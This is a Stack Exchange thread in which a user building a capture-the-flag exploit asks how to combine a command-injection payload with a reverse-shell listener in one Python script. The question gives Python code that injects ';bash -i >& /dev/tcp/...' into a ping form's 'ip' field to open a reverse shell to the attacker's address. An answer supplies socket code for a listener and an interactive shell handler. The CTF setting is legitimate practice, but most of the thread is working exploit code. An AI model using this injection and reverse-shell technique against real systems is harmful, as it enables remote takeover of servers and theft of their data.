Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

I'm coding an exploit in python that exploits a command injection vulnerability for a CTF and I'm wondering how could I start a netcat listener and then send the payload to the remote host and once the connection is stablished the script execution finishes and drops me to the stablished connection.

This is my code:

url= "http://vuln_url:8080/ping.php"

IP_ADDRESS = 'local_ip'
PORT = '9999'

cmd = ';bash -i >& /dev/tcp/%s/%s 0>&1' % (IP_ADDRESS, PORT)

values = {
            'ip': cmd,
            'submit':'submit'
          }

data = urllib.urlencode(values)
req = urllib2.Request(url, data)
urllib2.urlopen(req)

What I want to do is something like this:

url= "http://vuln_url:8080/ping.php"

IP_ADDRESS = 'local_ip'
PORT = '9999'

cmd = ';bash -i >& /dev/tcp/%s/%s 0>&1' % (IP_ADDRESS, PORT)

values = {
            'ip': cmd,
            'submit':'submit'
          }

#Some code to start the nc listener ¿(os.system("nc -l -p 9999 -vvv")?

data = urllib.urlencode(values)
req = urllib2.Request(url, data)
#Execute the request and start the reverse shell
urllib2.urlopen(req)

#Code to drop me to the nc stablished connection

I'm not sure if such a thing is even posible. Any idea?

Regards.

share|improve this question

1 Answer 1

Typically, you would just start the listener separately: Open a new terminal and run your nc -l -p 9999. Leave that there waiting, then fire off your exploit causing the remote machine to start a reverse shell.

There are loads of things that can go wrong in this process, generally just binding a shell is much easier than getting a reverse shell to work when you're blind.


You need to open a listening socket, and then interact with it once it has received a connection.

So, first open your listening socket (this replaces netcat)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 9999))
s.listen(5)

You can use a simple interact function that takes a socket:

def interact(sock):
     command=''
     while(command != 'exit'):
         command=raw_input('$ ')
         sock.send(command + '\n')
         time.sleep(.5)
         print sock.recv(0x10000)
     return

Then you can use them together with something like:

interact(s.accept())

This might require some tweaking, but that is the basic layout.

share|improve this answer
    
Hi lynks, I know actually creating the listener manually is what I'm doing but is exactly what I dont want to. The reverse shell works fine and what I want to Get is that my script drops me un the shell created without switching terminals. Regards –  Nucklear Sep 18 '13 at 15:41
    
@Nucklear I have added to my answer to address how to do this in python alone. –  lynks Sep 18 '13 at 15:51
    
Thanks for the reply, I already tried with sockets but when I create the listener the script stops waiting for the inbound connection and never executes the request that creates the connection. Do you know how could I solve this? –  Nucklear Sep 18 '13 at 16:52
    
@Nucklear It should only block when you reach the s.accept() call. None of the calls above should block. The order needs to be 1)Bind_&_Listen 2)Send_Exploit 3)Accept_Connection –  lynks Sep 18 '13 at 16:54
    
Yes that's whet I'm doing but does not stablish the connection. For my understand the payload stablish a raw tcp connection that should be captured by the listener in my script but during the time between I send the payload and accept the connection could it be lost? –  Nucklear Sep 18 '13 at 17:29

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.